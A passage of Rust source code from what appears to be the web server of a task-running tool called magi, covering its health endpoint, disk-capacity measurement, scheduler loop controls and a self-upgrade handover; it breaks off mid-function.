2659/// Refresh the shared cache and optionally request the same handover as the UI.
2660async fn run_update_recheck(ui: Arc<Ui>) {
2661    loop {
2662        let cfg = match Config::discover(&ui.repo, None) {
2663            Ok((cfg, _)) => cfg,
2664            Err(e) => {
2665                updater::log_warn(
2666                    &ui.home,
2667                    &format!("auto-upgrade: config unavailable: {e:#}"),
2668                );
2669                tokio::time::sleep(UPDATE_RECHECK_POLL_MAX).await;
2670                continue;
2671            }
2672        };
2673        if should_spawn_recheck(&cfg.update)
2674            && let Some(checker) = updater::Checker::new(&cfg.update)
2675        {
2676            let progress = updater::read_progress(&ui.home);
2677            let mut latest = checker.cached_update();
2678            if update_recheck_due(&checker, progress.as_ref()) {
2679                match checker.newer_release().await {
2680                    Ok(found) => latest = found,
2681                    Err(e) => tracing::warn!("background update recheck failed: {e:#}"),
2682                }
2683            }
2684            if cfg.update.auto_restart
2685                && let Some(latest) = latest
2686            {
2687                let response =
2688                    begin_upgrade(&ui, updater::UpgradeTrigger::Auto, Some(latest)).await;
2689                updater::log_step(
2690                    &ui.home,
2691                    &format!("auto-upgrade: request status {}", response.status()),
2692                );
2693            }
2694        }
2695        tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
2696    }
2697}
2698
2699/// [`UpdateView`] from the same throttled, disk-only state
2700/// [`crate::updater::Checker::cached_update`] gives the CLI's `notify` mode -
2701/// never a live check. `[update] mode = "off"` answers "unknown" the same as
2702/// no cached state at all, which is correct: an operator who turned checking
2703/// off gets no opinion, not a stale one.
2704fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
2705    let default;
2706    let cfg = match cfg {
2707        Some(cfg) => cfg,
2708        None => {
2709            default = Config::default();
2710            &default
2711        }
2712    };
2713    let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
2714    match latest {
2715        Some(latest) => UpdateView {
2716            available: true,
2717            to: Some(latest.tag_name),
2718        },
2719        None => UpdateView {
2720            available: false,
2721            to: None,
2722        },
2723    }
2724}
2725
2726/// [`updater::Progress`] as `/api/health` reports it, filling in `waiting_on`
2727/// from the parked run's own state when the stage is
2728/// [`updater::Stage::Parking`] - the run and the node it is finishing are
2729/// already on disk in `run.json`, so this reads them fresh rather than
2730/// trusting whatever was true the moment the park was requested.
2731fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
2732    let now = Timestamp::now();
2733    let lease = updater::read_lease(&ui.home);
2734    let alive = updater::live_lease(&progress, lease.as_ref(), now);
2735    let run_id = alive
2736        .and_then(|l| l.parked_run.as_deref())
2737        .or(progress.parked_run.as_deref());
2738    let parking = progress.stage == updater::Stage::Parking;
2739    let waited = alive.map_or_else(String::new, |l| {
2740        let secs = updater::waited_secs(l, now);
2741        format!(" (waited {} min so far)", secs / 60)
2742    });
2743    let run_text = run_id
2744        .filter(|_| parking)
2745        .map(|id| match read_run(&ui.runs, id).ok() {
2746            Some(run) => format!("run {} is finishing {}", run.short(), run.status.as_str()),
2747            None => format!("run {id} is finishing"),
2748        });
2749    let talks_text = Some(updater::talks_phrase(&progress.parked_talks))
2750        .filter(|t| parking && !t.is_empty())
2751        .map(|t| format!("{t} finishing"));
2752    let waiting_on = match (run_text, talks_text) {
2753        (None, None) => None,
2754        (run, talks) => {
2755            let parts: Vec<String> = [run, talks].into_iter().flatten().collect();
2756            Some(format!(
2757                "{} before the address is handed over{waited}",
2758                parts.join(" and ")
2759            ))
2760        }
2761    };
2762    let detail = progress
2763        .detail
2764        .clone()
2765        .or_else(|| updater::read_note(&ui.home, &progress));
2766    let stalled = updater::stall(&progress, lease.as_ref(), now);
2767    let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
2768    UpgradeProgressView {
2769        trigger: progress.trigger,
2770        stuck_for_secs: stalled.as_ref().map(|s| s.age_secs),
2771        stuck_kind: stalled.map(|s| s.kind),
2772        handover_alive: alive.is_some(),
2773        stage: progress.stage,
2774        from: progress.from,
2775        to: progress.to,
2776        waiting_on,
2777        started_at: progress.started_at,
2778        updated_at: progress.updated_at,
2779        detail,
2780    }
2781}
2782
2783/// Last successful capacity observations, independent of admission/cleanup.
2784/// Cold or unavailable directory measurements are null, never invented zeros.
2785#[derive(Debug, Serialize)]
2786struct DiskView {
2787    /// Free bytes on the volume holding the runs, when measurable.
2788    #[serde(skip_serializing_if = "Option::is_none")]
2789    free_bytes: Option<u64>,
2790    /// Everything the runs directory occupies, when fully measurable.
2791    runs_bytes: Option<u64>,
2792    /// Everything the runs' worktrees occupy.
2793    worktrees_bytes: Option<u64>,
2794    /// The shared build cache's size, when the config names one.
2795    #[serde(skip_serializing_if = "Option::is_none")]
2796    cache_bytes: Option<u64>,
2797    /// Last bounded cleanup report, including retention and failure reasons.
2798    retention: Option<crate::retention::Report>,
2799}
2800
2801/// Capacity walks have their own demand-driven single flight, not the revision
2802/// worker: a large build cache must never delay revisions or a health response.
2803const DISK_REFRESH: Duration = Duration::from_secs(60);
2804
2805#[derive(Debug, Clone, PartialEq, Eq)]
2806struct DiskScope {
2807    runs: PathBuf,
2808    worktrees: PathBuf,
2809    cache: Option<PathBuf>,
2810}
2811
2812impl DiskScope {
2813    fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2814        Self {
2815            runs: ui.runs.clone(),
2816            worktrees: ui.worktrees_root.clone(),
2817            cache: cfg.and_then(Config::cache_dir),
2818        }
2819    }
2820}
2821
2822#[derive(Debug, Clone, Copy, Default)]
2823struct DiskCapacity {
2824    free_bytes: Option<u64>,
2825    runs_bytes: Option<u64>,
2826    worktrees_bytes: Option<u64>,
2827    cache_bytes: Option<u64>,
2828}
2829
2830impl DiskCapacity {
2831    fn measure(scope: &DiskScope) -> Self {
2832        Self {
2833            free_bytes: crate::disk::free_bytes(&scope.runs).ok(),
2834            runs_bytes: disk_capacity_size(&scope.runs),
2835            worktrees_bytes: disk_capacity_size(&scope.worktrees),
2836            cache_bytes: scope.cache.as_deref().and_then(disk_capacity_size),
2837        }
2838    }
2839
2840    fn retain_successes(&mut self, next: Self) {
2841        self.free_bytes = next.free_bytes.or(self.free_bytes);
2842        self.runs_bytes = next.runs_bytes.or(self.runs_bytes);
2843        self.worktrees_bytes = next.worktrees_bytes.or(self.worktrees_bytes);
2844        self.cache_bytes = next.cache_bytes.or(self.cache_bytes);
2845    }
2846}
2847
2848/// Like disk::dir_size, do not follow links. Unlike its admission-oriented
2849/// best-effort total, an incomplete observation must not look like an empty tree.
2850fn disk_capacity_size(path: &FsPath) -> Option<u64> {
2851    let metadata = match std::fs::symlink_metadata(path) {
2852        Ok(metadata) => metadata,
2853        Err(error) if error.kind() == std::io::ErrorKind::NotFound => return Some(0),
2854        Err(_) => return None,
2855    };
2856    if !metadata.is_dir() {
2857        return Some(if metadata.is_file() {
2858            metadata.len()
2859        } else {
2860            0
2861        });
2862    }
2863    let mut total = 0;
2864    let mut stack = vec![path.to_owned()];
2865    while let Some(dir) = stack.pop() {
2866        for entry in std::fs::read_dir(dir).ok()? {
2867            let entry = entry.ok()?;
2868            let metadata = entry.metadata().ok()?;
2869            if metadata.is_dir() {
2870                stack.push(entry.path());
2871            } else if metadata.is_file() {
2872                total += metadata.len();
2873            }
2874        }
2875    }
2876    Some(total)
2877}
2878
2879#[derive(Debug, Default)]
2880struct DiskObservation {
2881    scope: Option<DiskScope>,
2882    capacity: DiskCapacity,
2883    in_flight: bool,
2884    finished: Option<std::time::Instant>,
2885}
2886
2887impl DiskObservation {
2888    fn observe(
2889        state: &Arc<Mutex<Self>>,
2890        scope: DiskScope,
2891        measure: impl FnOnce(&DiskScope) -> DiskCapacity + Send + 'static,
2892    ) -> DiskCapacity {
2893        let mut observation = state.lock().unwrap_or_else(PoisonError::into_inner);
2894        if observation.scope.as_ref() != Some(&scope) {
2895            observation.scope = Some(scope.clone());
2896            observation.capacity = DiskCapacity::default();
2897            observation.finished = None;
2898        }
2899        let capacity = observation.capacity;
2900        if observation.in_flight
2901            || observation
2902                .finished
2903                .is_some_and(|at| at.elapsed() < DISK_REFRESH)
2904        {
2905            return capacity;
2906        }
2907        observation.in_flight = true;
2908        drop(observation);
2909
2910        let refresh = DiskRefresh {
2911            state: Arc::clone(state),
2912            scope,
2913        };
2914        tokio::task::spawn_blocking(move || {
2915            let next = measure(&refresh.scope);
2916            let mut observation = refresh.state.lock().unwrap_or_else(PoisonError::into_inner);
2917            if observation.scope.as_ref() == Some(&refresh.scope) {
2918                observation.capacity.retain_successes(next);
2919            }
2920            drop(observation);
2921            // The guard also clears the flight on panic or a cancelled,
2922            // not-yet-started blocking job. No failed scan can wedge health.
2923            drop(refresh);
2924        });
2925        capacity
2926    }
2927}
2928
2929struct DiskRefresh {
2930    state: Arc<Mutex<DiskObservation>>,
2931    scope: DiskScope,
2932}
2933
2934impl Drop for DiskRefresh {
2935    fn drop(&mut self) {
2936        let mut observation = self.state.lock().unwrap_or_else(PoisonError::into_inner);
2937        observation.in_flight = false;
2938        if observation.scope.as_ref() == Some(&self.scope) {
2939            // Wait a full period after completion, including failed scans.
2940            observation.finished = Some(std::time::Instant::now());
2941        }
2942    }
2943}
2944
2945impl DiskView {
2946    /// Return immediately, retaining known capacity while one worker refreshes.
2947    fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2948        let capacity = DiskObservation::observe(
2949            &ui.monitor.disk,
2950            DiskScope::of(ui, cfg),
2951            DiskCapacity::measure,
2952        );
2953        Self::with_capacity(ui, capacity)
2954    }
2955
2956    fn with_capacity(ui: &Ui, capacity: DiskCapacity) -> Self {
2957        Self {
2958            free_bytes: crate::disk::free_bytes(&ui.runs)
2959                .ok()
2960                .or(capacity.free_bytes),
2961            runs_bytes: capacity.runs_bytes,
2962            worktrees_bytes: capacity.worktrees_bytes,
2963            cache_bytes: capacity.cache_bytes,
2964            retention: ui
2965                .runs
2966                .parent()
2967                .and_then(|home| std::fs::read(home.join("retention.json")).ok())
2968                .and_then(|bytes| serde_json::from_slice(&bytes).ok()),
2969        }
2970    }
2971}
2972
2973/// The daemon's state as the UI presents it.
2974#[derive(Debug, Serialize)]
2975struct DaemonView {
2976    running: bool,
2977    idle: Option<bool>,
2978    dispatch_wait: Option<daemon::DispatchWait>,
2979    pid: Option<u32>,
2980    /// Every task and run currently in flight. Empty when idle; more than
2981    /// one entry when `Config::daemon.max_concurrent_runs` has more than one
2982    /// run going at once.
2983    current: Vec<daemon::Current>,
2984    completed: Option<u64>,
2985    stale_for_secs: Option<i64>,
2986}
2987
2988impl DaemonView {
2989    /// Judge a status file. Staleness is [`daemon::Reading::running`]'s call,
2990    /// not this UI's — a crashed daemon must not look alive here while
2991    /// `doctor` calls it dead.
2992    fn of(status: Option<daemon::Reading>) -> Self {
2993        let Some(status) = status else {
2994            return Self {
2995                running: false,
2996                idle: None,
2997                dispatch_wait: None,
2998                pid: None,
2999                current: Vec::new(),
3000                completed: None,
3001                stale_for_secs: None,
3002            };
3003        };
3004        let now = Timestamp::now();
3005        let age = status.age_secs(now);
3006        Self {
3007            running: status.running(now),
3008            idle: Some(status.idle),
3009            dispatch_wait: status.dispatch_wait,
3010            pid: status.pid,
3011            current: status.current,
3012            completed: Some(status.completed),
3013            stale_for_secs: age,
3014        }
3015    }
3016}
3017
3018// Discover display configuration off the request path. Capacity measurement
3019// retains its separate single flight and scope/failure handling below.
3020fn refresh_health_config(ui: &Arc<Ui>) {
3021    let mut cache = ui
3022        .monitor
3023        .disk_cache
3024        .lock()
3025        .unwrap_or_else(PoisonError::into_inner);
3026    if cache.loading
3027        || cache
3028            .measured
3029            .is_some_and(|at| at.elapsed() < Duration::from_secs(60))
3030    {
3031        return;
3032    }
3033    cache.loading = true;
3034    let weak = Arc::downgrade(ui);
3035    std::thread::spawn(move || {
3036        let Some(ui) = weak.upgrade() else { return };
3037        let cfg = deputy_config(&ui.repo);
3038        let update = cached_update_view(cfg.as_ref());
3039        let mut cache = ui
3040            .monitor
3041            .disk_cache
3042            .lock()
3043            .unwrap_or_else(PoisonError::into_inner);
3044        cache.config = cfg;
3045        cache.update = Some(update);
3046        cache.measured = Some(std::time::Instant::now());
3047        cache.loading = false;
3048    });
3049}
3050
3051fn health_counts(
3052    ui: &Ui,
3053    fallback_questions_rev: u64,
3054) -> ApiResult<(usize, usize, usize, u64, usize)> {
3055    let mut index = ui
3056        .monitor
3057        .health_index
3058        .lock()
3059        .unwrap_or_else(PoisonError::into_inner);
3060    let ids = run_ids(&ui.runs);
3061    let seen: HashSet<_> = ids.iter().cloned().collect();
3062    index.runs.retain(|id, _| seen.contains(id));
3063    let mut unreadable = 0;
3064    for id in ids {
3065        // Recheck identity on every request, including atomic replacements
3066        // with preserved length/mtime. A failed stat is never cached as good.
3067        let identity = file_identity(&ui.runs.join(&id).join("run.json"));
3068        let bad = match identity {
3069            Ok(identity) => {
3070                if index.runs.get(&id).is_none_or(|(old, _)| *old != identity) {
3071                    let bad = read_run(&ui.runs, &id).is_err();
3072                    index.runs.insert(id.clone(), (identity, bad));
3073                    #[cfg(test)]
3074                    {
3075                        index.run_parses += 1;
3076                    }
3077                }
3078                index.runs[&id].1
3079            }
3080            Err(_) => true,
3081        };
3082        unreadable += usize::from(bad);
3083    }
3084    let questions_rev = try_stamps(ui.questions.root(), false, true)
3085        .map(|stamps| stamps_revision(&stamps))
3086        .unwrap_or(fallback_questions_rev);
3087    if index.questions.as_ref().is_none_or(|counts| {
3088        counts.revision != questions_rev || counts.measured.elapsed() >= QUESTION_COUNTS_TTL
3089    }) {
3090        let questions = ui.questions.list();
3091        index.questions = Some(QuestionCounts {
3092            revision: questions_rev,
3093            measured: std::time::Instant::now(),
3094            open: questions.iter().filter(|q| q.status.open()).count(),
3095            owner: questions
3096                .iter()
3097                .filter(|q| {
3098                    q.status.open() && (!q.waiting_on_agent() || ui.questions.deputy_exhausted(q))
3099                })
3100                .count(),
3101        });
3102    }
3103    let notifications_rev =
3104        stamps_revision(&notice_and_decision_stamps(ui).map_err(anyhow::Error::from)?);
3105    if index
3106        .notices
3107        .is_none_or(|(rev, _)| rev != notifications_rev)
3108    {
3109        index.notices = Some((notifications_rev, ui.notices.count_unread()));
3110    }
3111    let questions = index.questions.as_ref().unwrap();
3112    Ok((
3113        unreadable,
3114        questions.open,
3115        questions.owner,
3116        notifications_rev,
3117        index.notices.unwrap().1,
3118    ))
3119}
3120
3121async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
3122    let revisions = ui.monitor.revisions(&ui).await?;
3123    refresh_health_config(&ui);
3124    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
3125        // One read of the status file for the two fields that describe it, so
3126        // `daemon` and `loop` in the same answer cannot disagree about who is
3127        // running the loop.
3128        let reading = daemon::read_status(&ui.home);
3129        // Read on its own line, not inside the literal below: the loop's lock
3130        // is not reentrant, and a guard taken as a temporary there would still
3131        // be held when `loop_view` took it again.
3132        let loop_rev = ui.lock_loop().rev;
3133        let (
3134            runs_unreadable,
3135            questions_open,
3136            questions_needs_owner,
3137            notifications_rev,
3138            notifications_unread,
3139        ) = health_counts(&ui, revisions.2)?;
3140        let ((cfg, config_observed, sizes, measured), update) = {
3141            let cache = ui
3142                .monitor
3143                .disk_cache
3144                .lock()
3145                .unwrap_or_else(PoisonError::into_inner);
3146            (
3147                (
3148                    cache.config.clone(),
3149                    cache.measured.is_some(),
3150                    cache.disk.clone(),
3151                    cache.measured,
3152                ),
3153                cache.update.clone().unwrap_or(UpdateView {
3154                    available: false,
3155                    to: None,
3156                }),
3157            )
3158        };
3159        // Retain the base's capacity observation independently of config
3160        // refreshes. A cold config read may still be pending; an existing
3161        // capacity flight must remain visible to concurrent health requests.
3162        let prior_capacity = {
3163            let mut observation = ui
3164                .monitor
3165                .disk
3166                .lock()
3167                .unwrap_or_else(PoisonError::into_inner);
3168            // Adopt a completed size snapshot only before the scoped capacity
3169            // observer has started. Later scope changes remain its authority.
3170            if observation.scope.is_none()
3171                && let Some(sizes) = sizes
3172            {
3173                observation.scope = Some(DiskScope::of(&ui, cfg.as_ref()));
3174                observation.capacity = DiskCapacity {
3175                    runs_bytes: Some(sizes.runs),
3176                    worktrees_bytes: Some(sizes.worktrees),
3177                    cache_bytes: sizes.cache,
3178                    free_bytes: None,
3179                };
3180                observation.finished = measured;
3181            }
3182            observation.scope.as_ref().map(|_| observation.capacity)
3183        };
3184        let disk = if config_observed {
3185            serde_json::to_value(DiskView::of(&ui, cfg.as_ref())).ok()
3186        } else {
3187            serde_json::to_value(DiskView::with_capacity(
3188                &ui,
3189                prior_capacity.unwrap_or_default(),
3190            ))
3191            .ok()
3192        };
3193        let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
3194        let jobs = crate::worker::active(&ui.home).map_err(ApiError::from)?;
3195        #[cfg(not(test))]
3196        let looping = ui.runtime_loop_view(reading.clone(), &jobs);
3197        #[cfg(test)]
3198        let looping = ui.loop_view(reading.clone());
3199        Ok(Json(HealthView {
3200            jobs: jobs.into_iter().map(WorkerView::from).collect(),
3201            version: env!("CARGO_PKG_VERSION"),
3202            home: ui.home.display().to_string(),
3203            queue_rev: revisions.0,
3204            runs_rev: revisions.1,
3205            questions_rev: revisions.2,
3206            talks_rev: revisions.3,
3207            notifications_rev,
3208            notifications_unread,
3209            loop_rev,
3210            runs_unreadable,
3211            questions_open,
3212            questions_needs_owner,
3213            daemon: DaemonView::of(reading.clone()),
3214            looping,
3215            disk,
3216            update,
3217            upgrade,
3218            upgrade_request_error: ui
3219                .upgrade_request_error
3220                .lock()
3221                .unwrap_or_else(PoisonError::into_inner)
3222                .clone(),
3223        }))
3224    })
3225    .await
3226}
3227
3228/// What `/api/loop` answers, and what `/api/health` carries as `loop`.
3229#[derive(Debug, Serialize)]
3230struct LoopView {
3231    /// A scheduler is running, independently of this web process.
3232    running: bool,
3233    /// The scheduler has been asked to stop scheduling new work.
3234    stopping: bool,
3235    /// An explicit operator park was requested, independently from updates.
3236    parking: bool,
3237    /// This scheduler supports durable controls from any web generation.
3238    owned: bool,
3239    /// Repository the loop uses for tasks that name none - what it was
3240    /// started with while it runs, and what a start would use before that.
3241    repo: String,
3242    /// Merge mode override in force, or `null` when each repository's own
3243    /// config decides.
3244    merge: Option<String>,
3245    /// Why the last loop in this process ended, when it ended badly.
3246    ///
3247    /// The only place a crashed loop is visible to someone holding a phone.
3248    /// It is logged at error level as well, but a terminal nobody kept open
3249    /// is not a report, and a loop that died at 3am must not read as merely
3250    /// stopped in the morning. Named as [`Task::last_error`] is, because it
3251    /// answers the same question about the same kind of failure.
3252    last_error: Option<String>,
3253    /// The status file, judged the same way `/api/health` judges it: this is
3254    /// what says whether a loop is alive in some *other* process.
3255    daemon: DaemonView,
3256}
3257
3258/// A legacy embedded scheduler that this web process cannot control.
3259///
3260/// Worker-protocol schedulers use durable controls regardless of which process
3261/// started them. Older schedulers are identified by their foreign heartbeat.
3262#[derive(Debug, Clone, Copy)]
3263struct Foreign {
3264    /// The pid the other process published, when it published one.
3265    pid: Option<u32>,
3266}
3267
3268impl Foreign {
3269    /// Another process's live loop, or `None` when this process is free to
3270    /// run one.
3271    fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
3272        // A fresh heartbeat with no pid in it is still evidence of a live
3273        // daemon. "Some other process" is the honest answer, and refusing
3274        // to start beside it is the safe one.
3275        if reading.is_some_and(|r| r.worker_protocol.unwrap_or_default() >= 1) {
3276            return None;
3277        }
3278        daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
3279    }
3280
3281    /// How a conflict names it. The pid is the whole point of the message: it
3282    /// is what the operator needs to find the terminal that owns the loop.
3283    fn who(&self) -> String {
3284        match self.pid {
3285            Some(pid) => format!("another magi process (pid {pid})"),
3286            None => "another magi process".to_owned(),
3287        }
3288    }
3289}
3290
3291/// How a loop is started, as a future this module can hold onto.
3292///
3293/// A plain function pointer, so [`Ui`] stays `Debug` and `Clone` without a
3294/// trait object or a hand-written `Debug` impl for the sake of one seam.
3295type UpgradeRunner = fn(PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
3296
3297#[cfg(test)]
3298type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
3299
3300/// The real loop: [`daemon::serve_until`], boxed to fit [`Launch`].
3301#[cfg(test)]
3302fn launch_daemon(
3303    opts: daemon::Opts,
3304    stop: daemon::Stop,
3305) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
3306    Box::pin(daemon::serve_until(opts, stop))
3307}
3308
3309/// Local web-control revisions and errors, plus the unit-test launch seam.
3310#[derive(Debug, Default)]
3311struct LoopState {
3312    /// The loop, while there is one.
3313    #[cfg(test)]
3314    live: Option<Live>,
3315    /// Local control changes streamed as `loop_rev`; actual scheduler and
3316    /// execution ownership comes from durable status and OS-held worker leases.
3317    rev: u64,
3318    /// Why the last loop ended, when it ended badly. See
3319    /// [`LoopView::last_error`].
3320    last_error: Option<String>,
3321}
3322
3323/// A loop in flight.
3324#[cfg(test)]
3325#[derive(Debug)]
3326struct Live {
3327    /// The cooperative stop, shared with the loop task.
3328    stop: daemon::Stop,
3329    /// The task itself, kept only to answer whether it is still there: a loop
3330    /// that panicked never records its own end, and without this the view
3331    /// would go on reporting a loop that no longer exists - the one lie that
3332    /// would leave the operator with no button to press.
3333    handle: tokio::task::JoinHandle<()>,
3334    /// What the loop was started with, so the view reports the repository and
3335    /// merge mode its runs will actually use rather than what an edit to the
3336    /// config since would give.
3337    opts: daemon::Opts,
3338}
3339
3340#[cfg(test)]
3341impl Live {
3342    /// Is the task still there? See [`Live::handle`].
3343    fn alive(&self) -> bool {
3344        !self.handle.is_finished()
3345    }
3346}
3347
3348/// Take the loop lock, recovering from a poisoned one.
3349///
3350/// What this mutex holds is a stop flag, a task handle and two counters, none
3351/// of which a panic elsewhere can leave in a state worth refusing to read.
3352/// Propagating the poison instead would mean an operator who can see the loop
3353/// running and can no longer stop it from the only surface they have.
3354fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
3355    state.lock().unwrap_or_else(PoisonError::into_inner)
3356}
3357
3358/// `GET /api/loop`.
3359async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
3360    blocking(move || {
3361        let reading = daemon::read_status(&ui.home);
3362        #[cfg(not(test))]
3363        let view = ui.try_loop_view(reading)?;
3364        #[cfg(test)]
3365        let view = ui.loop_view(reading);
3366        Ok(Json(view))
3367    })
3368    .await
3369}
3370
3371/// The body of `POST /api/loop`.
3372///
3373/// One required field and nothing else: no `default` and no unknown fields,
3374/// so a body that fails to say which way the switch was flipped is a 400
3375/// rather than a tap that quietly does the opposite of what was pressed.
3376#[derive(Debug, Deserialize)]
3377#[serde(deny_unknown_fields)]
3378struct LoopCommand {
3379    running: bool,
3380    /// Stop the run in flight at its next node boundary rather than letting it
3381    /// finish.
3382    ///
3383    /// Defaults to false, so the plain stop keeps meaning what it meant: a
3384    /// competition is tens of minutes of paid work and finishing it is
3385    /// normally the cheapest thing to do. A park is for the operator who
3386    /// wants the process gone now - to replace the binary, most of all - and
3387    /// it costs at most the node in progress because every node writes its
3388    /// state before the next one starts.
3389    #[serde(default)]
3390    park: bool,
3391}
3392
3393/// Start or control the detached scheduler without waiting for execution
3394/// workers. Only an explicit park asks workers to stop at a node boundary.
3395async fn loop_post(
3396    State(ui): State<Arc<Ui>>,
3397    body: std::result::Result<Json<LoopCommand>, JsonRejection>,
3398) -> ApiResult<Json<LoopView>> {
3399    // Taken as a `Result` so a malformed body is a 400 like every other route
3400    // here, rather than axum's default 422 that the UI has no branch for.
3401    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3402    #[cfg(not(test))]
3403    {
3404        if body.running {
3405            ui.start_detached_loop().await?;
3406        } else {
3407            let foreign = Foreign::of(daemon::read_status(&ui.home).as_ref());
3408            ui.stop_loop(foreign, body.park)?;
3409        }
3410        Ok(Json(ui.try_loop_view(daemon::read_status(&ui.home))?))
3411    }
3412    #[cfg(test)]
3413    {
3414        blocking(move || {
3415            let reading = daemon::read_status(&ui.home);
3416            let foreign = Foreign::of(reading.as_ref());
3417            if body.running {
3418                ui.start_loop(foreign)?;
3419            } else {
3420                ui.stop_loop(foreign, body.park)?;
3421            }
3422            Ok(Json(ui.loop_view(reading)))
3423        })
3424        .await
3425    }
3426}
3427
3428/// What `POST /api/upgrade` set in motion.
3429#[derive(Debug, Serialize)]
3430struct UpgradeView {
3431    /// The version this process is running.
3432    from: String,
3433    /// The release it is replacing itself with, when there is one.
3434    to: Option<String>,
3435    /// What the operator should expect to happen next.
3436    detail: String,
3437}
3438
3439/// The stage of an upgrade that is still moving, if the record says so.
3440/// Mirrors `UPGRADE_BUSY_STAGES` in `assets/ui/app.js`.
3441fn upgrade_in_motion(progress: Option<&updater::Progress>) -> Option<&updater::Progress> {
3442    progress.filter(|p| !p.stage.terminal())
3443}
3444
3445/// Retry timing extracted only from kaishin's known rate-limit diagnostics.
3446/// Unknown diagnostics retain their complete message without guessing a delay.
3447fn upgrade_retry_after(message: &str) -> Option<u64> {
3448    if !message.contains("GitHub") || !message.contains("rate limit") {
3449        return None;
3450    }
3451    if message.contains("retry now") {
3452        return Some(0);
3453    }
3454    let duration = message
3455        .split_once("resets in ")
3456        .or_else(|| message.split_once("retry after "))?
3457        .1
3458        .split_once(')')?
3459        .0;
3460    let mut rest = duration.trim();
3461    if rest.is_empty() {
3462        return None;
3463    }
3464    let mut total = 0u64;
3465    while !rest.is_empty() {
3466        let n = rest.find(|c: char| !c.is_ascii_digit())?;
3467        let amount: u64 = rest[..n].parse().ok()?;
3468        let scale = match rest[n..].chars().next()? {
3469            's' => 1,
3470            'm' => 60,
3471            'h' => 3600,
3472            'd' => 86400,
3473            _ => return None,
3474        };
3475        total = total.checked_add(amount.checked_mul(scale)?)?;
3476        rest = rest[n + 1..].trim_start();
3477    }
3478    Some(total)
3479}
3480
3481#[derive(Debug, Clone, Serialize)]
3482struct UpgradeRequestFailure {
3483    occurred_at: String,
3484    error: String,
3485    retry_after_secs: Option<u64>,
3486    /// Unix seconds; independent of the phone's polling cadence.
3487    retry_at: Option<u64>,
3488}
3489
3490impl UpgradeRequestFailure {
3491    fn new(error: String) -> Self {
3492        let retry_after_secs = upgrade_retry_after(&error);
3493        let now = std::time::SystemTime::now()
3494            .duration_since(std::time::UNIX_EPOCH)
3495            .unwrap_or_default()
3496            .as_secs();
3497        Self {
3498            occurred_at: jiff::Timestamp::now().to_string(),
3499            error,
3500            retry_after_secs,
3501            retry_at: retry_after_secs.and_then(|s| now.checked_add(s)),
3502        }
3503    }
3504}
3505
3506/// `POST /api/upgrade` - replace this binary with the newest release and come
3507/// back on it.
3508///
3509/// Replace the installed binary, restart the detached scheduler, release the
3510/// web listener, then start the successor. Active task and conversation
3511/// workers retain their immutable executable and continue without parking.
3512///
3513/// A legacy embedded scheduler is the only incompatible owner: its work
3514/// must finish or park before the first migration replaces its process.
3515///
3516/// Answers **202**: the reply has to reach the phone while this process can
3517/// still send one, and the phone learns the deck is back by reconnecting.
3518async fn upgrade_post(State(ui): State<Arc<Ui>>) -> Response {
3519    begin_upgrade(&ui, updater::UpgradeTrigger::Manual, None).await
3520}
3521
3522async fn begin_upgrade(
3523    ui: &Arc<Ui>,
3524    trigger: updater::UpgradeTrigger,
3525    latest: Option<kaishin::LatestRelease>,
3526) -> Response {
3527    let reading = daemon::read_status(&ui.home);
3528    if let Some(other) = Foreign::of(reading.as_ref()) {
3529        return ApiError::conflict(format!(
3530            "{} is a legacy scheduler without detached restart support. \
3531             Finish or explicitly park its work in the existing UI before \
3532             this first migration; independent schedulers do not need this.",
3533            other.who()
3534        ))
3535        .into_response();
3536    }
3537
3538    // A second upgrade while one is moving would replace the binary and
3539    // signal the handover again after `serve` already consumed the first
3540    // signal, leaving the process in `replaced` forever. Try-lock rather than
3541    // wait: a phone connection must not hang behind a GitHub round trip.
3542    let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
3543        return ApiError::conflict("another request is already preparing an upgrade")
3544            .into_response();
3545    };
3546    // Hold the same gate through recording/clearing the request outcome, so
3547    // an older response cannot overwrite a retry's result.
3548    if trigger == updater::UpgradeTrigger::Auto {
3549        let cfg = match Config::discover(&ui.repo, None) {
3550            Ok((cfg, _)) => cfg,
3551            Err(e) => {
3552                return ApiError::internal(format!("auto-upgrade config: {e:#}")).into_response();
3553            }
3554        };
3555        let Some(latest) = latest else {
3556            return StatusCode::NO_CONTENT.into_response();
3557        };
3558        let in_motion = ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst)
3559            || upgrade_in_motion(updater::read_progress(&ui.home).as_ref()).is_some();
3560        let decision = {
3561            let failed = ui
3562                .auto_failed_tag
3563                .lock()
3564                .unwrap_or_else(PoisonError::into_inner);
3565            auto_upgrade_decision(
3566                &cfg.update,
3567                updater::disabled_by_env(),
3568                in_motion,
3569                &latest.tag_name,
3570                failed.as_deref(),
3571            )
3572        };
3573        if let AutoUpgradeDecision::Skip(reason) = decision {
3574            updater::log_step(&ui.home, &format!("auto-upgrade: {reason}"));
3575            return StatusCode::NO_CONTENT.into_response();
3576        }
3577        return finish_upgrade_request(
3578            ui,
3579            upgrade_checked_for(
3580                ui,
3581                env!("CARGO_PKG_VERSION").into(),
3582                Ok(Some(latest)),
3583                trigger,
3584            ),
3585        );
3586    }
3587    finish_upgrade_request(ui, upgrade_prepare(ui).await)
3588}
3589
3590fn finish_upgrade_request(ui: &Ui, result: ApiResult<(StatusCode, Json<UpgradeView>)>) -> Response {
3591    match result {
3592        Ok(out) => {
3593            *ui.upgrade_request_error
